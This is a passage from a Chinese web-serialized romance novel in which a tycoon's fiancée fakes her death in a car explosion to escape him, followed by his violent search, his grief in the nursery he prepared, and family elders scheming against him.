“连你未出生的孩子都保护不了,你凭什么说可以给我未来?” 这一字一句都像是冷箭一样穿过傅随之的心脏,让他痛不欲生,但他就是不愿意放开林青盏。 即便是如此痛苦,他也要将她困在身边。 他不能失去她—— 作者有话说:文中注解结合了网上对于《绿山墙的安妮》解读,不是作者总结的。 第63章 关于婚礼的所有安排还在继续。 傅随之并不想低调处理,闹得浮城人尽皆知。 傅氏老宅不迎接林青盏,傅随之就在老宅旁边弄了一座大宅子,做他的婚房住处。 宅子比傅氏老宅虽小了点,但是布置更为奢华,据说耗资二十亿,就为了能将林青盏风风光光迎娶进门。 傅家老宅那边的人听到消息情绪各异,傅怀锦气得半死好几天都下不了床,傅清檐却很高兴,他一心想着傅随之能出去独立门户更好,不过其他族人知道傅随之就快拿下蓝盛项目,并不想让他独立出去。 谁来说,傅随之都不管,只想光明正大风风光光和林青盏结婚。 隔天醒来,傅随之被明叔和李婶拦住问了些婚礼的细节,告诉他请帖都已经全部准备好,只要傅随之下令,这些请帖就会遍布浮城。 傅随之接过明叔递来的红色请帖,明艳动人的红色,金色笔墨,纯中式的结婚请帖上贴着他和林青盏的照片,非常好看。 观摩片刻,傅随之说道:“今天就可以发出去。” “好。”明叔点头。 傅随之问:“还有什么事情吗?” 李婶看了眼傅小灵,傅小灵说:“婚礼细节都敲定了,就是新郎和新娘的礼服……三爷您礼服还没试过,得你试过了才能确定要不要修改。” 傅随之点头,“让人送过来,我现在试。” “好的。”傅小灵犹豫片刻又说:“夫人那边——” “她的新娘服不是让人专门过来量尺寸做的,后来没再试过?” 傅小灵摇了摇头。 她甚至都不敢转达林青盏说的那句:“婚礼不可能办成,婚纱用不着。” 怕是这句话一出,傅小灵的命都会交代出去。 她没敢多言,傅随之倒是听懂了。 他先是将自己的新郎礼服都试一遍,让裁缝师傅按着他的要求重新修改,结束后才和傅小灵说:“你去告诉她,婚礼前一天,她可以住到望月台去,婚礼当天我会去望月台迎亲。这段时间,她要是想去望月台也随她。” “好。” “你和小敏跟着她。” “是。” 明天傅随之和周聿淮在京都周氏要签订蓝盛的合同,傅随之是今天下午的飞机飞往京都。 本来他是想陪着林青盏吃过午饭再走,但林青盏压根没给他面子,连下楼和他一起吃饭都不愿意。 最后傅随之连饭都没吃,直接上了迈巴赫离开。 黑色迈巴赫快速行驶在高架桥上,后座的傅随之摘下金框眼镜,捏了捏鼻梁,神色略显疲惫。 林青盏情绪不好,他又不善解释,昨晚聊到最后也聊崩了。 她始终不愿意看他,傅随之却执拗不想让她离开,最后两人倒在柔软的被子里,以傅随之壮硕手臂勾着她的变扭睡姿睡下了。 傅随之生性防备心重,只要她稍微一动,他就有所感觉。 半夜,他听到林青盏悄悄地起身,打开了他的电脑。 傅随之从始至终未睁开眼睛,一直等到她回到床上,他再次将人搂入怀中,才重新睡下。 林博昶提前给了他消息,他知道林青盏会拿他的方案。 她既然想要,那他就给她。 坐在前座的秦楠忍不了,开口问:“爷,方案都被拿走了,我们还拿什么和周聿淮谈?” 傅氏集团和周氏集团联络了这么长时间敲定下来的方案,突然被沈氏抛出来,周聿淮那么聪明,不可能相信沈氏和沈氏合作,也必然不会再和傅氏集团继续这场交易。 合同都签不成了,他们还去京都干嘛? 傅随之没回答,只望着窗外。 三个小时后,傅随之落地京都,上了专车直奔周聿淮指定的酒店。 即便是到了酒店包厢的大门口,傅随之还在想着planB,想要再试一试和周聿淮谈谈。 可令他意外的是,周聿淮那边好像没有得到任何消息,直接拿出合同开始走流程。 两个小时后,傅随之带着秦楠和傅慎走出酒店。 西装笔挺的秦楠手里还提着笔记本电脑,疑惑问:“这是什么情况?沈氏那边拿到方案,竟然没有搅黄我们这个项目?” 傅慎始终面无表情,看起来情绪极为稳定:“爷,夫人真的拿走方案了吗?” 傅随之现在也不确定。 昨天晚上,他亲耳听到林青盏悄悄下了床,拉开他的笔记本电脑,好像还敲敲打打了几下。 空旷的酒店大堂里,傅随之突然感觉后背发凉,有什么事情逐渐失控。 墙壁上挂着的超大液晶屏电视此刻正在播放新闻,轰然一声爆炸响起的同时,他手机也开始剧烈震动。 看到屏幕上跳跃的“傅小灵”三个字,傅随之感觉手掌发凉。 他接起电话,听到傅小灵在那头焦急说道:“三爷,出事了。夫人去了望月台,从后院开车离开,车辆在途中发生车祸,当场爆炸。” 从来阴沉内敛的男人站在金碧辉煌的酒店大堂,脸色犹如白纸一样苍白,“她呢?” “现在还不知道。” 身后的硕大液晶屏继续播报着那条新闻:「浮城老城区高速路口发生车辆碰撞,肇事者撞到迎面而来的车辆,察觉车辆开始漏油后,司机急忙下了车,另一辆车无人下来。一分钟后,车辆发生爆炸,两辆车均被烧毁。现在伤亡情况尚不确定,后续将跟踪报道。」 傅随之挂断电话,眼眸闪烁了好一会儿,才出声嘱咐秦楠和傅慎安排回浮城的飞机。 他的手指不停颤抖。 私人飞机落地浮城,已是凌晨。 傅小灵和傅小敏全程在现场跟着,亲眼看着警察法医全部到达现场,最终只找到烧毁的衣服碎屑。 记录完整后,车辆被拉走。 傅随之了解了情况,直奔警察局,像是一尊活阎王似的坐在大厅的凳子上,冷眼看着这个世界。 里面的人没半个敢耽搁,天亮之前,着急忙慌得地给了结果:「肇事 者疲劳驾驶,负全责,但另外一辆车上除了些许布帛碎片,压根没找到任何人体构造组织或者肌肉碎片。」 换言之,那辆车上没人。 傅随之悬着的心这才落下。 还好她只是逃走了。 傅随之让人压下了消息,警.方也不再对这件事情做出任何的公开说明,网上的所有消息被清除,好像这件事从来没有发生过一样。 但豪门圈内已经传遍,跟着傅三爷的那只金丝雀出了车祸,有人说车祸很严重,现场车辆爆炸,林青盏死得很惨,也有人说林青盏压根没死,不过是三爷为了掩护人设下的迷魂阵,更有人说林青盏是被傅家老爷子藏起来了,为的就是胁迫傅随之听他安排,早日和指定的家族完婚。 这些流言蜚语,傅随之压根不想管。 从警察局走出来的那一刻,天空突然下起暴雨,好像是一片巨大的网用力往下压,叫人喘不过气来。 一夜未眠,傅随之身上的黑色西服不再整洁无痕,稀碎的发丝垂落下来,镜片下的那双浅棕色眼眸显得越发没有温度,像是北极的冰川寒冷至极。 他单手插兜,仰起头看了眼不配合的天气,眼神灰暗,烦躁得非常明显。 前因后果,在这一夜,手下的人报备得差不多。 林青盏被关在望月台一直闷闷不乐的样子,傅随之想着婚礼前让她心情能好些,准许她可以出入望月台。 傅随之离开后,林青盏便换了身衣服,说是想吃兰青翎做的水晶饺,要去望月台一趟,傅小灵她们不敢阻拦,姐妹两人陪着她去了望月台。 一开始气氛很好,林青盏和兰青翎吃了下午茶,突然说头晕想回房间休息会儿。 傅小灵扶着人进去躺下,等她睡着了才出来和傅小敏一起守着。 她们以为林青盏大致休息半个小时,却不想两个小时,人还没动静。 等傅小敏反应过来冲进房间,为时已晚,屋里面空荡荡一个人都没有。 她们也说不清林青盏是怎么从她们眼皮底下溜走的,等调查到林青盏的位置时,林青盏已在浮城郊区,就快要离开浮城。 更令她们没想到的是,她们还没追上林青盏,林青盏的车就发生车祸当场爆炸。 整件事情细节都很微妙,就林青盏一个人不可能如此顺畅地逃离生天。 秦楠和傅慎分别接了电话,结束后走到傅随之身后。 傅慎:“望月台那边没问出什么,兰青翎和阮青山压根什么都不知道,唯一知情的就是何青素。这个女人很狡猾,从一开始就哭哭啼啼的,什么话都问不出来。” 秦楠:“林博昶跟宋雅薇那边了解过,沈钰铭没有拿到蓝盛的项目资料,发了一顿脾气。她是想让人对夫人动手,不过还没来得及。” 傅慎:“傅鸿源最近常要应付沈家那边,自顾不暇。盯着傅清檐那边的人说他最近一直想要巴结京都沈家,前两天刚飞去京都,不是他做的。” 秦楠:“绕了一圈,不是他们,就是夫人自己——” 话没说完,傅慎踹了他一脚,秦楠没敢再说下去。 事实如此,他们都很清楚,是林青盏设计假死,想借此逃离傅随之。 但她一个被困之人怎么能做如此复杂的安排,必然是有人在背后支持。 那会是谁支持她? 傅随之甚至亲自去找了纪淮野,纪淮野最近为了个博物馆的古董鼎修复,已经三天三夜没睡觉,接到电话听到他说林青盏不见,愣了老半天才反应过来。 纪淮野这种人生性放浪不羁,他不屑于说谎,所以傅随之确定不是他。 傅随之又去联系顾宴迟,问了顾蝉,顾蝉这段时间外派南城,顾宴迟在那边陪着她,可以明确不是顾蝉在背后推波助澜。 除此之外,他想不到其他人了。 傅随之全身无力,只反复想,她是不是已经离开浮城? 他只关心她的下落。 雨幕下,傅随之迈步走下台阶。 秦楠和傅慎赶忙为他打开黑色大伞,撑着他上了车。 傅随之一声令下,“去慕家。” 秦楠和傅慎对视一眼,压根不敢说话。 与五大家族相比,慕家老宅看起来没有那么气魄,但也是典型的大院子,豪华铁门下的保安半点不敢拦住气势汹汹而来的傅随之。 傅随之的专车直驱而入。 下了车后,他冷着脸迈步往里面走,活像是来讨债的。 慕觞淙和何青素正在客厅里说话。 平日里何青素是不能来这老宅的,怕遇上宋雅薇惹出不必要的麻烦。 慕觞淙虽然看不惯宋雅薇,但现在和宋家利益捆绑,也不好做得太难看,就另外给何青素置办了一套别墅。 这会儿,何青素是因为傅随之的人严刑逼问,她心底害怕才慌忙地跑来这里找慕觞淙商量。 只是没想到,刚坐下就听到外面传来喧闹声,是佣人一直跟傅随之提醒让他不要私闯民宅,说归说,是没有一个人敢碰傅随之的。 看到傅随之,慕觞淙脸色都变了。 他挥了挥手让佣人下去,沉着气将傅随之往上座请,但傅随之半点不给面子,上去对着他肚子猛得踹了一脚,直接将人踩地上。 何青素吓了一跳,尖叫出声,下一秒惶恐捂住自己的嘴巴,望着被傅随之踩在脚下的慕觞淙,心疼不已。 她想爬过去,可是感觉全身无力,压根动弹不了。 傅随之五官精致得无与伦比,那双眼眸是浅浅的棕色,衬托得他的神色越发冷傲。 此刻他咬牙俯视着脚下的慕觞淙,那双眼眸里是带着冰冷的杀意的。 “说,她在哪里?” 慕觞淙被傅随之的高级皮鞋压着脸庞,整个人匍匐在地上,心底唯一在坚持的自尊完全不复存在。 他知道自己不能得罪傅随之,傅随之不是那么好糊弄的,可是他突然不想让傅随之顺心如意。 “三爷,小盏跟了你这么久,你应该比谁都清楚她的性格。她既然决心离开你,那你再怎么强势要困住她没有用,她肯定会想方设法离开你。” 这话更是刺痛了傅随之,他脚下用力,狠狠碾过慕殇淙的脸。 “我和她的事情,轮不到你多嘴。我再问一遍,她在哪里?” 慕觞淙知道傅随之这次是下了死手,干脆不挣扎,“我不知道。” 傅随之冷笑一声。 何青素赶忙爬过来,“三爷,三爷,求你放过慕先生。他是真的不知道师姐在哪里!” 她跪在傅随之面前,哭得梨花带雨,“师姐说她想离开你,让我们准备了车,至于她怎么上车,上车后去哪里,为什么最后她没有在爆炸的车上,这些我们都不知道。就算你把慕先生打死,他也说不出来的。” 傅随之终于大发慈悲抬起脚。 何青素赶忙爬过去将慕觞淙扶起来,低声询问:“慕先生,你还好吗?” 慕觞淙烦躁地推开她的手,只觉得这辈子所有丢人的时刻都让这个女人看尽。 但现在不是计较这个的时候。 他抬起头,看到傅随之站在原地,那双冰冷眼眸直勾勾盯着他,这种感觉像是被什么毒蝎咬到似的,全身发麻。 傅随之死死盯着他,“林峰平那些事情,是你们告诉她的?” 慕觞淙拍了拍西装上的灰尘,“不是。我要告诉她,早就可以跟她说。不必等到她和你有了感情纠葛后,再来提这件事。” 林博昶之前给他的消息,是沈钰铭威胁林青盏,傅随之想确认这件事是不是慕殇淙有在背后推波助澜。 “傅清檐有没有插手?” 慕殇淙顿了顿,“这个我不知道。我只知道沈钰铭跟青盏见过面,提供了挺多信息。” 傅随之眉眼更加阴沉。 “浮城沈家虽然比不上京都沈家,但人脉还是有些的,当年你父亲的事情轰动全城,沈家那位多少知道。他女儿让你丢在傅鸿源那里给糟蹋了,他们自然想找回去。” 慕觞淙将嘴角的血迹擦掉,“沈钰铭要挟小盏 ,让她拿到你手里关于蓝盛的所有资料,否则——” 突然的停顿让傅随之非常不悦,“说。” “小盏还有个哥哥,这几年她一直在找寻他的下落。沈钰铭不知道从哪得到的消息,说贺兰承是小盏的哥哥。” 贺兰承? 傅随之蹙眉。 这个人在他面前晃荡过,但傅随之从没想到这一点。 “林峰平很可能是害死你父亲的凶手,这点谁都无法证实。你或许也是这么认为的,不然你这些年不会一直在追查这件事。当初你会将小盏留在身边,不也是动了心思,想从她手里找到证据。如果林峰平真的是害死你父亲的凶手,你还能平静善待他的儿女? 小盏跟你有牵绊,你或许还会手下留情,可是面对贺兰承呢?沈钰铭很聪明,她知道从贺兰承下手,小盏不可能拿贺兰承的性命作赌注。” 傅随之冷声问:“所以,她是为了保护贺兰承?” “是。”慕觞淙嘴角勾着笑,“三爷,在小盏心目中,你永远不可能比得过她至亲的哥哥。为了保护哥哥,她可以想方设法离开你,让你再也找不到她。只有这样,你才永远不可能对贺兰承下手。” 这句话将傅随之心底的最后一道防线彻底击碎。 他脸色苍白如纸,随手抓起墙上挂着的古董长剑,剑出鞘,剑锋搭在慕觞淙脖颈之上。 只差一厘,就足以毙命。 但被赶来的唐郁东拦下了。 唐郁东夺走他手里的剑,转身随手一挥,剑入鞘,烽火熄灭。 徐泽也走过去,拉住冲动的傅随之,“傅三,镇定。人都没找到,你想先把自己弄进去?” 傅随之推开徐泽也,迈步走进雨里。 夜空闪过一道道闪电,雷鸣声轰隆。 傅随之冷着脸回到海棠湾,傅小灵和傅小敏她们几个就等在客厅,看到他立马站起身。 李婶将干净的毛巾递过来,话也不敢多说。 傅随之没接,任由冰冷的雨水贴着脸庞轮廓滴落下来,沿着脖颈一路往下,落在胸口的位置。 他的声音很冷,“继续找。掘地三尺,也要给我找到!” 秦楠实在见不得他这么冷傲的人落得如此的境地,“爷,夫人弄了这么一出假死的车祸,想骗过所有人。但她肯定也很清楚,这骗不了你。她明摆着就是故意要躲你。她都玩出这一记了——” 傅随之声线又冷了几分:“她要玩,我便陪着她玩玩。念她插翅难飞。” 秦楠还想说话,被傅慎拦住。 下一秒,傅随之豁然转过身,冲着他们大吼:“还等什么,都给我去找!” 电闪雷鸣间,海棠湾上下不得安宁,所有人在雨夜里奔波来回,像是在奔赴一场既定的死局。 人自然是没找到。 傅随之联合唐郁东徐泽也他们几个,进行了地毯式搜索,不过两天时间几乎将浮城翻了个遍,可是没有找到林青盏的任何消息。 甚至于连她从望月台后门离开到底上了哪辆车,去往什么方向,都查不到。 到了此刻,傅随之才恍然明白,林青盏是真的铁了心要离开。 香桂芳包厢里。 身穿黑色衬衫的傅随之双腿敞开,脑袋往后仰,整个人颓靡地靠在沙发上,幽深似海的双眸盯着天花板。 他手里还拿着威士忌酒杯,片刻后挣扎着抬起头,猛地灌了口酒。 浓烈的酒精从喉咙划过,带来一股凌冽刺激感,如此好像才让傅随之感觉自己还活着。 他宽厚手掌撑着沙发坐起来,抓来威士忌酒瓶继续往酒杯里倒酒。 边上的纪时礼犹豫着想去阻止他,唐郁东抓住他肩膀,另一只手拿下嘴边的烟,“随他喝。他现在这种情况,你不让他喝他更难受。” 纪时礼无奈,“再喝下去,估计得送医院。” “傅三没那么弱。从小喝酒就没人喝得过他。他的性格你还不知道,发疯起来谁都怕,他什么时候这么憋屈,只会灌自己酒?” 可见,他心情真的很糟。 唐郁东这人有点“糙”,喜欢直来直往的,没有太多弯弯绕绕。 刚开始进入浮梦今安联盟时,傅随之就服他,也愿意跟他讲话,因为觉得跟唐郁东相处不用费心思害怕被捅刀子,久而久之,两人关系很铁。 唐郁东非常清楚,傅随之从小过得很孤苦,傅怀锦是在培养他,但因为傅清庭的前车之鉴,傅怀锦要求他不能有半点仁慈之心,一直是打压式的教育。 傅随之身后还有一个傅清檐始终盯着他,做什么都要给他使绊子。 可以说傅随之人生二十七年,除了在棠傛膝下的那三年,都像是在打战历劫。 所以,唐郁东也非常能理解傅随之对于林青盏的喜欢,以及失去她之后的那种痛彻心扉。 唐郁东猛地吸了口烟,“他还没真的开始疯。” 纪时礼和顾宴迟对视一眼,心底也不得不承认唐郁东说得很有理。 徐泽也看着自己猛灌酒的傅随之,摇了摇头,“真要喝随他,我们奉陪到底。” 话音一落,傅随之往他们面前各自搁下一瓶白酒,“喝!今晚谁不喝谁说孙子!” 徐泽也:“……”话说太早,只能自己受着。 傅随之平日里看着很冷,好像什么都不在意,但其实他们都清楚,这人性格最执拗。 但凡他们今天敢说一个“不”字,傅随之恐怕会当场砸了整个香桂芳,所以他们只能奉陪到底。 临近天亮,傅随之喝够了,总算愿意放他们离开。 秦楠和傅慎扶着傅随之上了车,将人往海棠湾送去。 天刚亮,明叔和李婶已经起来准备早餐,看到他们两个扶着醉醺醺的傅随之下车,吓了一跳,赶忙走过去。 “这是喝了多少?” 秦楠摇头:“数不清。” 明叔:“……” 傅随之一米九的身高,他们两个要很吃力才能将人往楼上扶,好不容易走到卧室门口,傅随之不知道想到什么,突然挣扎着甩开他们的手。 秦楠和傅慎面面相觑。 傅随之眼神冷冷扫过去,是在叫他们不要靠近。 他转过身,往卧室对面的房间走去,单薄的手掌压在扶手上,动作很轻地将门往里面推。 视线徒然开阔,傅随之抬眸看到里面的布置,是色彩柔软的婴儿房。 一百多平的房间里,布置了两张婴儿床和专门的游玩区,还有宽阔的衣帽间,里面挂满了婴儿服。 秦楠和傅慎第一次看到这个房间的面貌,神色怔愣。 这个房间之前傅随之就一直不让人进,原来是自己在里面弄了个这么好看的婴儿房。 傅随之歪头看着里面的布置,眼眶猩红。 他不只失去了孩子,连他最爱的人也弄丢了—— 作者有话说:很快重逢追妻,别着急哈- 坏消息是我没存稿了[爆哭][爆哭][爆哭][爆哭][爆哭] 我手速很慢,后面估计会减少更新数字! 第64章 傅随之推开所有人,脚步缓慢走进婴儿房,将门关上。 婴儿房布置很温馨,没有浓重的色彩,却透着童真的乐趣。 进门可以看到右手边摆放着两张定制的婴儿床,挂着蓝色和粉色的梦幻纱以及小小的玩具铃铛,婴儿床里面摆放着巴塞罗熊和邦尼兔。 傅随之没有跟婴儿打交道的经验,当时去店里只问了一嘴店员,知道这两只娃娃很多人喜欢,就直男地给他那未出生的两个孩子进行了分配,男孩要巴塞罗熊,女孩子就抱邦尼兔。 不只是这些,婴儿床旁边的空着的地方弄了一整套梦幻城堡软垫,里面有滑滑梯、秋千、摇摇车和阅读区。 傅随之拉开城堡小门,走了进去,几乎是卸下了所有力气,躺在灰白色软垫上,抬眸望着头顶的璀璨水晶灯,眼眶的红更加明显。 他举起手腕搭在额头,整个人感觉天旋地转,就那么陷入了深睡。 傅随之 知道自己掉入了梦里,但是他醒不过来。 梦里,他和小小的傅于然坐在海棠湾花园里,一人拿着一杯果冻酸奶,慢悠悠地喝着。 身穿旗袍的棠傛坐在旁边的凳子上,手里拿着一本书在看着,偶尔抬眸看向两个孩子,满脸欣慰。 傅于然绑着小辫子,身穿白色公主裙,笑容满面,傅随之看她如此,手掌贴着她脸颊摸了摸。 一切都很美好,可是转眼间,海棠湾里只剩下傅随之一人。 天黑了,浓墨的夜空压下来,傅随之身穿黑色衬衫站在落地窗前,手里捏着烟,猛地吸了一口,眼神阴沉得可怕。 身后突然扑过来一道身影,是林青盏。 她用柔软的手掌环住他的腰,又绕过来与他面对面相拥,仰着头亲吻他。 梦境一直在反复循环播放,傅随之每次都会让它停在与林青盏相拥而眠的片刻。 …… 门外,傅小敏他们四个焦急等待着。 傅小灵:“爷在里面待了两天,不吃不喝,这样下去不行的。” 秦楠背靠着墙壁,没有了平日里的精英姿态,这会儿只剩下疲惫,“肯定不行啊,那能怎么办,你进去叫他啊?” 傅小灵瘪嘴,她不敢。 昨天秦楠不过是敲了下门,被隔空臭骂一顿,傅随之大吼着让他们全部都滚。 现在秦楠和傅慎都不敢去碰壁。 他们一筹莫展时,傅小敏突然出声:“我去。” 其他三人转身看向她,傅小敏重复:“我去跟爷说,我们一定要找到夫人!” 婴儿房里没有开灯,只有月光从落地窗前洒落下来,在梦幻城堡围栏拓下浅浅的光。 要很认真才能够看到围栏里面平躺着的男人并未闭上眼睛,双眸空洞地看着窗外的月亮,没有半点生气。 门被推开一条缝隙,傅随之举起手挡住双眼。 在黑暗里待久了,突然间地光明,他并不适应,眉宇紧蹙,明显很烦躁。 他连抬头都懒得,“滚出去。” 傅小敏站在门口略有些踌躇,目光落在躺地上的傅随之身上,咬牙开了口。 “爷,你有没有想过,夫人也像你爱他一样爱你?” 傅随之依旧躺着没动,修长手背搭在额头上,遮挡了门口透进来的光,好像连呼吸都快要没有了。 傅小敏不管不顾地说下去,“爷,我十四岁情窦初开开始喜欢你,每天跟着妈妈在你身边伺候着,不是因为我想为妈妈做事,是因为这样我就可以每天看到你。我这种性格耐不住暗恋的心思,所以两年前我才会冲动开了口。你一句话不说,直接把我发配到国外。我以为我这辈子回不来了,可是你因为夫人还是同意让我回国。” 傅随之沉寂。 “接到秦楠的通知电话时,我心里很不爽。不过是个普通女人,凭什么得到爷你的青睐。我是抱着这样的心思回来的。” 回国那天傍晚,她和傅小灵在林青盏身边照顾,等到下班归来的傅随之,心底澎湃如海啸。 可是傅随之看都没看她一眼,径直走到林青盏面前,举起宽厚的手掌揉了揉林青盏的头发,问她伤口好些没有? 傅小敏跟在傅随之后面许多年,即便傅随之一开始也将她和傅小灵当做妹妹看待,但傅随之从未在他们面前露过那种温柔。 “那天我就知道,爷对她不是玩玩而已,爷肯定很喜欢她。我还是不服她,只是我不敢说,因为我怕被爷又送去意大利。” 傅小敏眼眶微微泛红,“夫人不是没感觉到我的情绪,但她始终对我和小灵一样。她不会将情绪放在这些上面,她的心绪都在你身上,她的一举一动,一个眼色一个笑容,都在告诉我,她很喜欢你。” 归国后,傅小敏一直跟在林青盏身边,对她的生活了如指掌。 她每天两点一线,从海棠湾到望月台,再从望月台回到海棠湾,接触的都是望月台那些熟悉的人,她的神色很放松,但她的笑其实并不算真切。 她只有在看到傅随之的时候,嘴角的笑容才会透着一股甜。 “你不在的时候,夫人每天都会跟我们一起将你的房间和书房打扫干净,然后她会安静地坐在玻璃花房里等你回来。有时候你有应酬,她就会提前嘱咐为你煮好解酒汤,你要是能准点下班回来,她总会欣喜地像是蝴蝶一样奔向你。这些事看似很平常,但应该只有深陷爱里的人,才会觉得这些很幸福吧。 夫人知道怀孕后,每天都小心翼翼的,连去后院的古玩室都要思考好一会儿,她担心里面的有些物件湿气重,怕上下台阶太多,不小心崴了脚有什么意外,因为她很珍惜你们的孩子。 后来,孩子没有了,她伤心欲绝,可还是会记得你喜欢吃辣的,吃着我们送去的清淡饮食时,会特意嘱咐让厨房为你另外准备吃食。” 傅小敏望着傅随之,“爷,夫人的经历其实跟你很像,在你没有了亲人时,她也成了孤儿一个人在望月台讨生活,可是她从来没有因此变成恶毒的坏人。 她跟顾蝉小姐说,她想要和你有一个家。 在沈钰铭拿哥哥威胁夫人的时候,夫人明明可以拿走蓝盛的所有资料,但她还是没有,肯定是因为她爱你。” 地上的人手腕轻颤了下。 “夫人不见了,那爷应该去找到她。现在找不到,就一直找,肯定会找到的。” 傅随之深深呼了口气,“出去。” 声音依旧硬冷至极。 傅小敏吸了吸鼻子,转身离开,将门也关上。 世界恢复一片黑暗。 傅随之仍旧躺在那里,动都没动一下。 门外。 傅小敏将门关上后,转身就往楼下走。傅小灵看到她鼻尖发红,以为她是被三爷骂哭了,迈步要追出去。 旁边的秦楠先一步下了楼,傅慎抓着傅小灵的手腕将人拉回去,对她摇了摇头。 傅小灵转身靠在他怀里,颇有些懊恼,“阿慎,我感觉夫人离开后,整个世界都崩塌了一样,什么都不对劲。” 明明以前林青盏没来的时候,他们也是这样生活的,为什么现在没有她就不行了- 即便傅随之让人压下所有消息,还将新闻都删干净,但林青盏出车祸在爆炸现场消失无影踪的事情,还是在豪门圈传开了。 也不知道是哪里传出来的消息,非常笃定,说林青盏就在车上,车毁人亡。 消息传到傅清檐那边,他是不信的,叫了慕觞淙过来询问,慕觞淙只说不知道,具体还没查到。 傅清檐穿着一身唐装坐在木椅上,盯着慕觞淙看,脸色是阴险的,他明显不信,但也没证据证明慕觞淙说谎。 他摸了摸短胡须,“当初叫你把人往傅随之身边送,原是想让傅随之和林峰平的女儿狗咬狗,或许能找到当年的那东西,没想到最后竹篮打水一场空。” 慕觞淙站在傅清檐面前,神色平静:“也不算没有收获,至少证明林青盏手里确实没有二爷要的东西。林峰平已经死了,当年的事情不会有人知道,二爷其实不用担心。” 傅清檐深深叹了口气,“傅随之这几年发展太快,这次蓝盛项目又落到他手里,不出半年,我就要压制不住他了。” 这点倒是真的。 慕觞淙三番两次栽在傅随之手里,最近心底已经对他产生了恐惧,他不想再惹怒傅随之这个疯子。 傅鸿源倒是不怕,“他人单影只,就凭他一个人怎么可能斗得过我们。蓝盛这个项目是落在他手里,但他不见得真吃得下。” 傅随之虽然是傅氏集团总裁,公司资源随意他调配,但底下人怎么办事可不好说,傅清檐在公司里安插了很多人,这次倒是能派上用场了。 就看浮梦今安是不是随意他做主。 傅鸿浠:“我的人打探到,林青盏车祸身亡的事情对傅随之打击不小,他已经好几天没去公司了,这对我们来说是好机会。” 傅清 檐:“我会让你几个伯伯去提,区区一个女人能让他这么堕落,恐怕他也不适合坐在那个位置。” 他话没说完,傅随之不适合坐,那就该他上去。 隔天,傅随之为女人低迷的事情就传到傅老爷子耳朵,当天晚上傅随之被紧急叫回老宅。 时至今秋,雨丝绵绵。 黑色迈巴赫快速行驶在道路上。 前座的秦楠膝盖上放着笔记本,正在查看周氏集团发来的合作流程图。 周聿淮亲自发的消息,两天后在京都周氏集团大楼开会,要求傅随之必须到场。 林博昶那边也发来消息,他到达马来西亚,调查到贺老身体抱恙,他的所有儿子被紧急召回,律师当众宣布贺老立下的遗嘱,十几个养子各获得部分遗产,以及贺兰承成为下一任贺氏集团总裁。 贺兰承在林博昶进入马来西亚时,就得到消息,让人将林博昶接走,好吃好喝款待,最后要求林博昶给傅随之带一句话:“我好好的妹妹在你身边消失不见,你最好能给我一个交代,否则贺氏集团倾尽所有和傅氏集团为敌。” 话说得非常直白,林青盏不在他那里。 但傅随之不信。 他要求林博昶去和贺兰承交涉,想要和他见一面,贺兰承一开始没答应,最终不知道林博昶使了什么手段,最终贺兰承松口,答应可以和傅随之见面。 不过贺兰承事务繁忙,只有三日后有时间。 所有的事情全都赶在一起。 听完秦楠报备,傅随之神色没有任何变化。 他摘下眼镜,低头捏了捏鼻梁,神色略显疲惫。 离林青盏消失过去五天,他几乎没怎么闭眼休息过,那双浅棕色眼眸显得越发幽深可怖。 片刻后,他重新戴上金丝眼镜。 “晚上速战速决,结束后直接飞京都。准备好会议资料,明天京都分部集中开会,后天我和周聿淮面谈。” 秦楠怔了下,抬眸从后视镜望向傅随之。 自从听到林青盏遭遇车祸和爆炸,之后发现人消失无影踪,傅随之的神色阴沉得可怕,像是阎罗王入凡间,随时要让整个世界一起毁灭似的。 那之后傅随之什么都不想干,工作也不管,今天要不是老爷子让人打电话过来催得紧,傅随之都不见得会出门。 所以傅随之乍然恢复以往的工作模式,让秦楠非常震惊。 不过也就三秒钟,秦楠当即回答:“我让秘书部订机票,明天的会议资料两个小时后会发到你邮箱。” 傅随之冷着脸,“再定个航班,后天结束直接飞马来西亚,我要去见林解。” 不管林解说什么,傅随之要亲自过去一趟,确认林青盏是不是在林解那边。 秦楠:“好。” 话音刚落,黑色迈巴赫在傅氏老宅大门口停下。 雨势更甚,急促地落下,傅慎撑着黑色雨伞走到傅随之那边,为傅随之拉开门撑着伞。 黑夜里傅随之迈过大门,大步穿过庭院,他脸色越发苍白,脸庞轮廓硬朗锐利,眼神明显不善。 刚迈进祠堂大院,他闻到浓重的檀香味,抬起头看到老爷子和傅清檐坐在里头,周边站在几位族中长老,看这架势事情不简单。 第65章 他冷笑一声往前走,雨势渐近,打湿了他的皮鞋,他的每一步都像是踩在泥泞里,但他压根不在意。 在众人的瞩目下,他走到傅怀锦身旁坐下,“有什么需要让各位如此劳师动众叫我过来?” 傅怀锦闭着眼倚靠在红木椅上,脸色不佳,明显没有要开口的意思。 傅清檐看他一眼,知道这位亲生父亲靠不住,自己开了口,“也不算兴师动众,只是家主近来太忙,每月的家族会议都没有出席,今天大家伙儿不过是想请家主过来,跟我们说一说公司的运营情况。” 傅氏集团是傅家一手建立起来的,公司的各要职都是由傅家人担任,但也有外姓古董,只是股权占据比例很低。 因此从傅老爷子任职时,家族内部每个月会开个会,盘点公司近期的运营情况,及时调整策略。 特殊情况,族中的长老们会一同参加,是因为他们有表决权,只是会议上很少会需要用到表决权的,除非是要职任免问题。 傅随之看了眼难得出席的长老们,猜想到傅清檐打的什么主意。 他对秦楠抬了抬下巴,让秦楠做了下月度分析报告,数据准确逻辑清楚,压根挑不出什么错。 秦楠讲完,傅随之挑了挑眉,“各位还有什么想知道的?” 傅清檐冷着脸,对身旁的一位长老使了个眼神,这位长老站出来说道:“月度总结听起来是没什么问题。不过有一件事,刚巧大家都在,需要问一问家主。” 傅随之冷眼不答。 “近半年来,城里关于家主的绯闻不断。说家主看上了望月台一位戏子,跟她极为亲密,都已经开始安排婚礼了,不知道这件事是真是假?” 傅随之抬眸看向这位长老,“我的事情什么时候需要向你主动汇报了?” 这位长老哽住。 傅随之之所以有“疯子”的称号,是因为他从小自己住在海棠苑,谁都管不了他,他表面看着平静,其实谁都没放在眼里,心情一个不好,谁的面子他都踩,还要用脚重重碾一下。 原本长老是不敢惹他的,毕竟他自从当上家主之后更疯了。 但傅清檐有委托在先,要是他今天不能将这件事办好,恐怕傅清檐也不会放过他。 长老只能厚着脸皮继续说道:“家主误解我的意思,并不是向我主动汇报。您身为傅家家主,一举一动都可能给傅氏集团造成影响。所以有些事我们自然要跟你询问清楚,至少还能知道应对方法。” 傅随之黑着脸,镜片下的眼眸阴沉得可怕。 “我管你什么意思,你去柔香居找女人玩了一晚上的时候,怎么不想想这会不会给傅氏集团带来影响?” 